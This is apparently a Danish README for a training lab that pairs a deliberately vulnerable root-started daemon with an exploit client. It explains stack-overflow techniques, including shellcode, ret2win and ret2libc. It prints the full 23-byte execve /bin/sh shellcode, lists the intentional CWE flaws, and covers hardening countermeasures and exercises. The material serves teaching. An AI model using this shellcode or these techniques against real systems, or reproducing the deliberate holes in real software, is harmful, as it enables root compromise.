foo/wosuid/README.DA.md

309 lines
14 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# `wosuid`-laboratoriet — root-RCE **uden** setuid-bit
```
foowosd en bevidst sårbar daemon, der er root, fordi den blev *STARTET* som
root (port 2344, kun loopback som standard)
foowosc exploitet: forvandler et stack-overløb til en **root**-shell ved at
udføre shellcode — de samme 23 bytes, der knækkede user-level-
`food`-daemonen i det overordnede laboratorium
```
Det er det tredje laboratorium i serien. Samme exploit-værktøjskæde, samme
stil, én fundamental forskel:
| Laboratorium | hvordan target-processen bliver root | `uid=0(root)`-shell? |
|----------|------------------------------------------------|----------------------|
| food/fooc| aldrig — det er en almindelig user-daemon | nej |
| foosd/foosc | SUID-bitten (`chmod u+s`) — euid 0, ruid 1000 | ja (kræver `setreuid` i shellcoden, fordi bash nulstiller euid→ruid) |
| **foowosd/foowosc** | **ingen — root *starter* daemonen** (sudo / systemd `User=root`) | **ja (almindelig `execve`-shellcode)** |
Setuid-bitten er et *transportmiddel* for privilegier — ikke privilegierne
selv. En daemon startet af root har reelle, effektive og gemte uid alle lig 0.
For kernen er det root, punktum; den kan og vil ikke vide, om processen kom
derhen via `+s` på en fil eller via `sudo ./foowosd`. Overløbet i en
root-started daemon er altså et root-exploit — *"jeg har ingen
SUID-binærfiler" er ikke det samme som "jeg er ikke udnyttelig".*
Det er hele lektionen i dette laboratorium. Alt herunder er maskineriet.
---
## Hurtig start (hvad brugeren bad om)
```
cd wosuid
make # bygger daemonen, exploitet og test-harnessen
```
### Det ægte — kør daemonen som **root**
```
sudo make run-root # starter foowosd som uid 0 (proces, ikke filtilstand)
make test-root # hver teknik skal nu give uid=0(root)
```
### Ikke sudo? Den identiske kernel-sti via en user-namespace
```
make run-root-ns # uid 0 i en user-namespace — ingen adgangskode nødvendig
make test-root # samme domme; bruges af CI og alle uden sudo
```
### Baseline — daemon som din normale bruger (intet root nogen steder)
```
make run # foowosd kører med dine uider
make test # exploits lander shells, men `root` forventes MISSING
```
### Oprydningsritual (altid: dette er et root-shell-laboratorium)
```
make stop
```
`foowosd` er *ikke* setuid, og intet i dette bibliotek laver nogensinde
`chmod +s` — det er pointen. Den farlige tilstand er **processen**, ikke
filen.
---
## Når du bliver bedt om at sætte SUID-bitten
Det kommer du **ikke** til. Dette laboratorium har bevidst ingen SUID-bit:
- `foowosd` bygges, ejes og har almindelige tilstande som ethvert andet program.
- Det bliver root, som rigtige daemoner gør — ved at blive *startet* af root.
- `make run-root` bruger `sudo` til præcis det, og `make run-root-ns` får en
ægte uid-0-proces helt uden noget af det.
Suid-bitten tilhører *søster*-laboratoriet (`foosd`). Kontrasten mellem de to
er pensum:
1. SUID-laboratoriet: bitten giver **euid 0, men ruid 1000** →
`execve("/bin/sh")` nedgraderes af bashs vagt (`euid != ruid` → reset) →
shellcoden må først kalde `setreuid(0,0)` (32-byte-payload).
2. Dette laboratorium: root **starter** processen → **ruid == euid == 0** →
vagten har intet at nulstille → den almindelige 23-byte `execve`-shellcode
beholder root.
Samme overløb. Samme teknik. Forskellig *oprindelse* af privilegier, anderledes
payload-form. Det er lektionen i miniature.
---
## Protokollen
Uanset hvilken slags klient der forbinder, hilser foowosd på den med:
```
FOOWOSD 1.0 ids=0/0 leak stack=0x7ffd… libc=0x7f… (banneret + leaks)
BUF=0x7ffd… (bufferadressen)
```
`ids=euid/ruid` er *"er jeg root?"*-sidekanalen. foowosc printer en høj
advarsel, når euid ikke er 0 (dvs. du startede daemonen som en almindelig
bruger): payloaden lander stadig, men shellen bliver en bruger-shell, og at
kalde exploitet "i stykker" ville være forkert — det eskalerer bare ikke.
> Staveform-bemærkning: `ids=`, ikke `euid=`/`ruid=`. Test-harnessen beviser et
> levende `id` ved at matche den bogstavelige form `uid=NNN(`, så banneret må
> aldrig indeholde en delstreng, der selv opfylder tjekket. (I SUID-laboratoriet
> producerede præcis den fælde et spektakulært falsk positivt.)
---
## Exploit-teknikkerne (`foowosc -t …`)
Alle fire exploit-stier nedenfor virker mod foowosd. Når daemonen er root,
giver **alle, der spawner noget, root** — i modsætning til SUID-laboratoriet,
hvor ret2win/ret2libc stille og roligt blev nedgraderet til uid 1000 af bashs
vagt. Her er der intet mismatch at vogte mod.
| `-t` | hvad der sker | når daemonen er root |
|---------------|---------------------------------------------------------------------|---------------------|
| `shellcode` | 23-byte-`execve("/bin/sh", NULL, NULL)` kører på stacken. | **root-shell** (standard) |
| `ret2win` | hop til `win()` → `execl("/bin/sh")` | **root-shell** |
| `ret2libc` | ROP: `pop rdi; ret` → `"/bin/sh"` → `system()` | **root-shell** |
| `demo` | kun junk-overløb — forvent et SIGSEGV i daemon-loggen | nedbrud, efter design |
| `leak` | printer bare leaks, sender ingen payload | n/a |
```
./foowosc -t shellcode # interaktiv; standard-target 127.0.0.1:2344
./foowosc -t shellcode -n # send og rapporter, ingen interaktiv session
```
En vellykket interaktiv session videresender din terminal til shellen *på
offeret* — der er præcis én shell i billedet, og det er `/bin/sh`, der kører
som root inde i foowosd. Skriv `id` for at se `uid=0(root)`.
### Hvorfor der ikke er nogen `ret2win-root`-teknik her
foosc havde én — den hoppede til et `win_root()`, der kaldte `setreuid(0,0)`
før exec, fordi en setuid-proces kørte med en reelle uid, der stadig sagde
1000. En root-*startet* proces har den reelle uid allerede 0; der er intet at
rydde, så den ekstra funktion og teknik ville ikke lære noget. Fjernet.
---
## Hvad foowosc gør, trin for trin
1. **Statisk analyse** — `objdump -d` af `./foowosd`. Finder
`vulnerable_handler`, `win()`, det `lea -0x50(%rbp)`, der adresserer `buf`,
og det første nøgne `ret`. Ud fra forskydningen beregner det
`rip_off = 80 + 8 = 88`. Intet er hardkodet; det overlever en genbygning.
2. **Selv-introspektion** — læser sit eget `/proc/self/maps` og `dlsym()`er
`system`/`read` for at lære libc-*offsets*. Targetets libc-base er
`leaked_read − off_read`, derefter `system = base + off_system`, osv. Denne
delta-aritmetik er grunden til, at exploits overlever libc-versioner.
3. **Forbind** — læser banneret/leaks (`ids=`, `stack=`, `libc=`, `BUF=`).
4. **Byg payloaden** — for `shellcode`: 23 bytes maskinkode, padding til
`rip_off`, derefter den gemte RIP = `buf` (så `ret` hopper ind på koden). For
`ret2win`/`ret2libc`: adresser beregnet ud fra analysen — ingen udførelse af
stacken nødvendig.
5. **Justeringsfixen** — et kapret nøgent `ret` giver callee'en
`rsp ≡ 8 (mod 16)`, og glibcs SSE2-kode `movaps`-fault'er på en ikke-justeret
stack (crash-reporteren logger `si_addr=(nil)` — fingerpeget). foowosc
indsætter ét ekstra `ret`-gadget før det rigtige target og genopretter
invarianten. Silkehandsketeknik i et shellcode-laboratorium, men det er
forskellen mellem en payload, der "nogle gange virker", og en, der altid
virker.
6. **Send, derefter videresend** — offerprocessen *er* shellen; denne proces
splisser kun bytes. Ingen lokal shell, ingen anden læser — single-read-
cursor-fejlen (ét spist byte per chunk) er dokumenteret i `become_shell()`.
---
## Daemonens bevidste fejl (alle i `foowosd.c`, alle ægte CWE-klasser)
| # | fejl | CWE | note |
|---|-----|-----|------|
| 1 | `read(fd, buf, 512)` ind i et 64-byte stack-buffer | [CWE-120](https://cwe.mitre.org/data/definitions/120.html) | overløbet: 448 bytes forbi `buf`, gemt RIP ved +88 |
| 2 | kun `snprintf(line, …, "%.*s", …)`; men angriber-`%` i echo-stien | [CWE-134](https://cwe.mitre.org/data/definitions/134.html) | leaket er her den reelle payload; et `%n` i en *root*-proces ville være write-what-where som root |
| 3 | børn beholder root, mens de håndterer utroverdige inputs | [CWE-271](https://cwe.mitre.org/data/definitions/271.html) | det korrekte `drop_privs()` (setgroups→setgid→setuid, i den rækkefølge, med verifikation) står i filen, kommenteret, *bevidst aldrig kaldt* |
| 4 | `ids=`, `stack=`, `libc=`, `BUF=` afsløret til enhver klient | [CWE-200](https://cwe.mitre.org/data/definitions/200.html) | uden disse leaks kunne shellcode- og ret2libc-teknikkerne ikke beregne adresser (ASLR ville besejre dem) |
Handleren har præcis samme `buf[64]`/`read(512)`-form som de to andre
laboratorier, så den fælles objdump-baserede erkendelsespipeline virker
uændret.
---
## Sådan inspicerer du daemonen (læringssti)
```
make status # kører den? som hvilken uid? filtilsand vises
make run-root # eller run / run-root-ns
./foowosc -t leak # se banneret og leaks, send intet
./foowosc -t demo # junk-overløb -> SIGSEGV, logget med RIP/rsp
./foowosc -t shellcode # den interaktive root-shell
make test-root # fuld matrix, alle teknikker, --must-root
```
Crash-reporter: Ved SIGSEGV logger daemonen fejladressen, RIP og RSP. Et `ret`
ind i en ikke-kanonisk `0x4141…` fault'er ved `ret`-et selv (RIP som `0x4028xx`,
`si_addr=(nil)`) — værd at vide, før du fejllæser en loglinje som en
NULL-dereference.
---
## Hvorfor shellcoden er 23 bytes, ikke 32
```
31 f6 xor esi, esi ; argv = NULL
31 d2 xor edx, edx ; envp = NULL
48 bf 2f62696e2f736800 movabs rdi, "/bin/sh\0"
57 push rdi
48 89 e7 mov rdi, rsp
6a 3b push 0x3b ; 59 = execve
58 pop rax
0f 05 syscall
```
SUID-laboratoriet har brug for `setreuid(0,0)` foran dette. Dette
laboratorium ikke, af den grund der gentages overalt: **ruid er allerede 0**,
fordi root startede processen. `make verify` beviser, at bytes i `foowosc.c`
er byte-for-byte det, `shellcode.S` assemblerer til.
---
## Modforanstaltninger — hvad `make hardened` ændrer
Hærdet build (`-fstack-protector-strong -fPIE -pie -z noexecstack`):
| teknik | sårbar `foowosd` | hærdet `foowosd_hardened` |
|-----------|----------------------|------------------------------|
| `shellcode` | root-shell (eksekverbar stack) | SIGSEGV ved canary-tjekket / NX |
| `ret2win` / `ret2libc` | root-shell | canary abort'er `ret` — men bemærk: en *PIE*-build gør også disse adresser tilfældige |
| `demo` | SIGSEGV, logget | SIGSEGV, logget |
`make test-hardened` demonstrerer det live. Den vigtige observation er ikke
bare, at modforanstaltningerne dræbte teknikkerne — det er, at de **ikke**
gjorde daemonen til "ikke-root". En hærdet build, der stadig *startes* som
root, er stadig en root-daemon; modforanstaltningen hæver kun barren for
angriberen. Least privilege (`drop_privs()`) og hukommelsessikkerhed er to
forskellige fejl, og en daemon, der ikke behøver root, bør ikke have det.
---
## Sikkerhedsgelændere (samme politik som SUID-laboratoriet)
- **Kun loopback.** foowosd nægter at binde andet end `127.0.0.1` /
`localhost` / `::1`, medmindre du giver `-L`. En root-daemon på en rigtig
grænseflade er en *fjern* root-tjeneste. `-L` findes kun for at vise vagten;
brug den ikke på noget, der betyder noget.
- **Tilstanden logges højt.** Ved start printer den `ruid/euid` og om dette er
en root-proces, så du altid ved, hvilket exploit-resultat du skal forvente.
- **Domme kommer fra exit-status** i `make test*` (pty-harnessens
returkode), aldrig fra at greppe dens stdout — grebbart output lyver.
- **pty'en skal køre cooked + ECHO off**, ellers ekkoer harnessen sin egen
kommandolinje og forfalsker markøren. Harnessen slår ECHO fra og beholder
ECHONL på.
- **Oprydningsritual:** `make stop` efter hver session. Hvis daemonen er
root-ejet, siger `stop` dig at køre `sudo pkill -x foowosd`.
- Kør aldrig dette på en host, du holder af. Det findes for at uddele
`uid=0`-shells over loopback-grænsefladen.
---
## Øvelser
1. Kør `make run` (user-daemon), derefter `./foowosc -t shellcode`. Hvorfor er
shellen ikke root? (Tjek `ids=` i banneret — foowosc siger dig det, før du
overhovedet forbinder.)
2. `make stop && sudo make run-root && make test-root`. Forklar ud fra
bannerlinjen, hvorfor alle fire teknikker nu giver `uid=0(root)`.
3. Find i `foowosd.c` `drop_privs()` og læs, *hvorfor rækkefølgen* af
`setgroups → setgid → setuid` betyder noget. Beslut, hvor i `main()` den
ville høre hjemme, og hvad laboratoriets angrebsflade bliver, når den
faktisk kaldes.
4. Beregn `rip_off` i hånden ud fra `objdump -d foowosd`: find `buf`s
`lea -0xNN(%rbp)` inde i `vulnerable_handler`, derefter `NN + 8`. foowosc
gør præcis det; tjek dens regnestykke mod dit eget.
5. `make hardened && make test-hardened`. Hvilken teknik falder for canaryen,
og hvilken for NX? Hvorfor ændrer hærdning ikke, hvad `make status`
rapporterer om *processen*?
6. Sammenlign de to laboratoriers shellcodes: 23 bytes her, 32 for foosd. Hvad
gør de ekstra 9 bytes, og hvorfor behøves de kun i SUID-tilfældet?
7. Læs `become_shell()`s kommentar om den enkelte læse-cursor. Genskab
fiaskotilstanden mentalt: to læsere på én socket betyder, at login-shellen
æder ét byte per chunk — "uid=1000…" ankommer som "id=1000…". Hvorfor kan en
relay-proces aldrig have denne fejl?
---
## Filer
```
foowosd.c den sårbare root-daemon (hver linje kommenteret)
foowosc.c exploitet (hver linje kommenteret)
shellcode.S reference-assembly for 23-byte-payloaden
tests/pty_wosuid_test.c pty-harnessen (markør + strenge id-form-tjek)
Makefile build / run / run-root / run-root-ns / test /
test-root / verify / hardened / clean …
```
Søster-laboratorier: `../food.c`/`../fooc.c` (user-level-baseline, port 2342)
og `../suid/` (SUID-root-daemon `foosd`/`foosc`, port 2343). Portene er bevidst
forskellige — du kan køre alle tre på én gang og krydstjekke deres `ids=`-linjer
i banneret.